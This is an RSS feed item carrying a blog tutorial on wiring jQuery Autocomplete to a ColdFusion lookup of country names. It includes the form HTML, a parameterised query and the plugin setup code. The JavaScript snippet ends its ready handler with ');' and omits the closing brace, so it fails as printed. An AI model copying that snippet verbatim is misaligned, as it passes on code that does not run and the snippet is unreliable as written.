		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=587</guid>
		<description><![CDATA[Creating an autocomplete form field historically has not been a trivial matter and would require an indepth knowledge of JavaScript and CSS. However, the task is made far more simple when using one of the many freely-available JavaScript libraries. In this post I will show you how to implement the jQuery Autocomplete created by Dylan Verheul.]]></description>
			<content:encoded><![CDATA[<p>Creating an autocomplete form field historically has not been a trivial matter and would require an indepth knowledge of JavaScript and CSS. However, the task is made far more simple when using one of the many freely-available JavaScript libraries. In this post I will show you how to implement the <a href="http://www.dyve.net/jquery/?autocomplete" title="jQuery Autocomplete Plugin" target="_blank" rel="nofollow">jQuery Autocomplete</a> created by Dylan Verheul.</p>
<h3>The Goal</h3>
<p>Allow the user to type a few characters into a standard form text input field and to automatically provide suggestions from which the user can select.</p>
<h3>Prerequisites</h3>
<ol>
<li>The <a href="http://code.jquery.com/jquery-latest.js" target="_blank">latest copy of jQuery</a></li>
<li>A basic understanding of JavaScript</li>
<li>A server-side script that can respond to the <acronym title="Asynchronous JavaScript and XML">AJAX</acronym> request, in our case ColdFusion</li>
</ol>
<h3>Demo</h3>
<p>The demo will specifically look at a simple form text input field, which takes a country name.</p>
<p><a href="http://www.simonwhatley.co.uk/examples/autocomplete/jquery/">See the demo, and others, in action</a></p>
<p><p align="center"><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text";
google_color_border = "ffffff";
google_color_bg = "ffffff";
google_color_link = "0f6b99";
google_color_text = "808080";
google_color_url = "0f6b99";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p></p>
<h3>How It Works</h3>
<p>Once the user begins to type into the form text input field, the jQuery autocomplete is activated. After a set time interval, a list of items is displayed below the input field. The user can select these with either the arrow keys or mouse.</p>
<h3>The Code</h3>
<p>There are three parts to this demo:</p>
<ol>
<li>The page&#8217;s HTML.</li>
<li>The server-side code to produce the dynamic page (i.e. to load the autocomplete <code>div</code> when the user types something into the input field).</li>
<li>The jQuery &#038; JavaScript.</li>
</ol>
<p><strong>HTML Form</strong></p>

<div class="wp_syntax"><div class="code"><pre class="html html" style="font-family:monospace;"><span style="color: #000099;"><span style="color: #000066;">&lt;h3&gt;</span></span>Example 1.: Country Lookup<span style="color: #000099;"><span style="color: #000066;">&lt;/h3&gt;</span></span>
<span style="color: #000099;"><span style="color: #000066;">&lt;p&gt;</span></span>Using <span style="color: #000099;"><span style="color: #000066;">&lt;abbr</span> <span style="color: #000066;">title</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;Asynchronous JavaScript and XML&quot;</span><span style="color: #000066;">&gt;</span></span>AJAX<span style="color: #000099;"><span style="color: #000066;">&lt;/abbr&gt;</span></span> to interrogate the database.<span style="color: #000099;"><span style="color: #000066;">&lt;/p&gt;</span></span>
<span style="color: #000099;"><span style="color: #000066;">&lt;p&gt;</span></span>Example data: Australia, Bulgaria, United Kingdom<span style="color: #000099;"><span style="color: #000066;">&lt;/p&gt;</span></span>
<span style="color: #000099;"><span style="color: #000066;">&lt;form</span> <span style="color: #000066;">name</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;frmAutoCompleteCountry&quot;</span> <span style="color: #000066;">id</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;frmAutoCompleteCountry&quot;</span> <span style="color: #000066;">action</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;#&quot;</span> <span style="color: #000066;">method</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;post&quot;</span><span style="color: #000066;">&gt;</span></span>
<span style="color: #000099;"><span style="color: #000066;">&lt;p&gt;</span></span>
<span style="color: #000099;"><span style="color: #000066;">&lt;label</span> <span style="color: #000066;">for</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;country&quot;</span><span style="color: #000066;">&gt;</span></span>Country<span style="color: #000099;"><span style="color: #000066;">&lt;/label&gt;</span></span>
<span style="color: #000099;"><span style="color: #000066;">&lt;input</span> <span style="color: #000066;">type</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;text&quot;</span> <span style="color: #000066;">name</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;country&quot;</span> <span style="color: #000066;">id</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;country&quot;</span> <span style="color: #0000ff;">/</span><span style="color: #000066;">&gt;</span></span>
<span style="color: #000099;"><span style="color: #000066;">&lt;/p&gt;</span></span>
<span style="color: #000099;"><span style="color: #000066;">&lt;/form&gt;</span></span>
<span style="color: #000099;"><span style="color: #000066;">&lt;p&gt;</span></span>NB. If you have <span style="color: #000099;"><span style="color: #000066;">&lt;a</span> <span style="color: #000066;">href</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;http://getfirebug.com/&quot;</span> <span style="color: #000066;">title</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;Get Firebug&quot;</span><span style="color: #000066;">&gt;</span></span>Firebug<span style="color: #000099;"><span style="color: #000066;">&lt;/a&gt;</span></span> installed you will be able to view the <span style="color: #000099;"><span style="color: #000066;">&lt;abbr</span> <span style="color: #000066;">title</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;Asynchronous JavaScript and XML&quot;</span><span style="color: #000066;">&gt;</span></span>AJAX<span style="color: #000099;"><span style="color: #000066;">&lt;/abbr&gt;</span></span> call.<span style="color: #000099;"><span style="color: #000066;">&lt;/p&gt;</span></span></pre></div></div>

<p><strong>ColdFusion</strong></p>
<p>This is a simple example, using a database to return a list of country names that match the characters the user has input. You could expand this and return a <acronym title="JavaScript Object Notation">JSON</acronym> data structure.</p>

<div class="wp_syntax"><div class="code"><pre class="cfm cfm" style="font-family:monospace;"><span style="color: #333333;"><span style="color: #800000;">&lt;cfsetting</span> <span style="color: #0000ff">enablecfoutputonly</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;true&quot;</span><span style="color: #800000;">&gt;</span></span>
<span style="color: #333333;"><span style="color: #800000;">&lt;cfquery</span> <span style="color: #0000ff;">name</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;qryGetCountry&quot;</span> <span style="color: #0000ff">datasource</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;myDatasource&quot;</span><span style="color: #800000;">&gt;</span></span>
SELECT countryName
FROM Country
WHERE countryName LIKE <span style="color: #333333;"><span style="color: #800000;">&lt;cfqueryparam</span> <span style="color: #0000ff;">value</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;#URL.q#%&quot;</span> <span style="color: #0000ff">cfsqltype</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;cf_sql_varchar&quot;</span> <span style="color: #0000ff;">/</span><span style="color: #800000;">&gt;</span></span>
<span style="color: #333333;"><span style="color: #800000;">&lt;/cfquery&gt;</span></span>
<span style="color: #333333;"><span style="color: #800000;">&lt;cfoutput</span> <span style="color: #0000ff">query</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;qryGetCountry&quot;</span><span style="color: #800000;">&gt;</span></span>
<span style="color: #0000ff;">#qryGetCountry.countryName##</span>chr(10)<span style="color: #0000ff;">#</span>
<span style="color: #0000ff;"><span style="color: #800000;">&lt;/cfoutput&gt;</span></span></pre></div></div>

<p><strong>JavaScript</strong></p>
<p>The JavaScript will attach itself after the document is ready, i.e. after the page has loaded. Each time the text input field, with the ID of country, is changed, the autocomplete event is fired. This makes a call to the ColdFusion page, which returns a list of matched items.</p>

<div class="wp_syntax"><div class="code"><pre class="html html" style="font-family:monospace;"><span style="color: #000099;"><span style="color: #000066;">&lt;script</span> <span style="color: #000066;">type</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;text/javascript&quot;</span> <span style="color: #000066;">src</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;jquery-1.2.6.min.js&quot;</span>&gt;&lt;<span style="color: #0000ff;">/</span>script&gt;</span>
<span style="color: #000099;"><span style="color: #000066;">&lt;script</span> <span style="color: #000066;">type</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;text/javascript&quot;</span> <span style="color: #000066;">src</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;jquery.autocomplete.js&quot;</span>&gt;&lt;<span style="color: #0000ff;">/</span>script&gt;</span>
<span style="color: #000099;"><span style="color: #000066;">&lt;link</span> <span style="color: #000066;">type</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;text/css&quot;</span> <span style="color: #000066;">href</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;autocomplete.css&quot;</span> <span style="color: #000066;">rel</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;stylesheet&quot;</span> <span style="color: #000066;">media</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;screen&quot;</span> <span style="color: #0000ff;">/</span><span style="color: #000066;">&gt;</span></span>
<span style="color: #000099;"><span style="color: #000066;">&lt;script</span> <span style="color: #000066;">type</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;text/javascript&quot;</span><span style="color: #000066;">&gt;</span></span>
$(document).ready(function() {
	$(&quot;#country&quot;).autocomplete(
		&quot;country.cfm&quot;,
		{
			minChars:2,
			delay:200,
			autoFill:false,
			matchSubset:false,
			matchContains:1,
			cacheLength:10,
			selectOnly:1
		}
	);
);
<span style="color: #000099;"><span style="color: #000066;">&lt;/script&gt;</span></span></pre></div></div>

<h3>Where To Take It Next</h3>
<p><strong>JSON</strong></p>
<p>The above example only shows a simple text list, separated by carriage returns. It is more preferable to use <acronym title="JavaScript Object Notation">JSON</acronym>.</p>
<p><strong>Unobtrusive JavaScript</strong></p>
<p>As with any page that is loaded with JavaScript and AJAX functionality, it should work without JavaScript.</p>
<p>To achieve this with the above tutorial, you will need to replace the jQuery autocomplete functionality with an &#8216;interim&#8217; page that allows a user to select from a list of items, effectively turning the input field into a simple search interface. Of course, all other form field information would need to be retained between pages.</p>
<h3>Download The Code</h3>
<p>The <a href="http://www.simonwhatley.co.uk/examples/autocomplete/jquery/">example code</a> can be downloaded from the demo page. Included are ColdFusion and PHP examples.</p>
<p><p align="center"><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text";
google_color_border = "ffffff";
google_color_bg = "ffffff";
google_color_link = "0f6b99";
google_color_text = "808080";
google_color_url = "0f6b99";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/using-jquery-auto-complete-with-coldfusion/feed</wfw:commentRss>
		</item>
	</channel>
</rss>
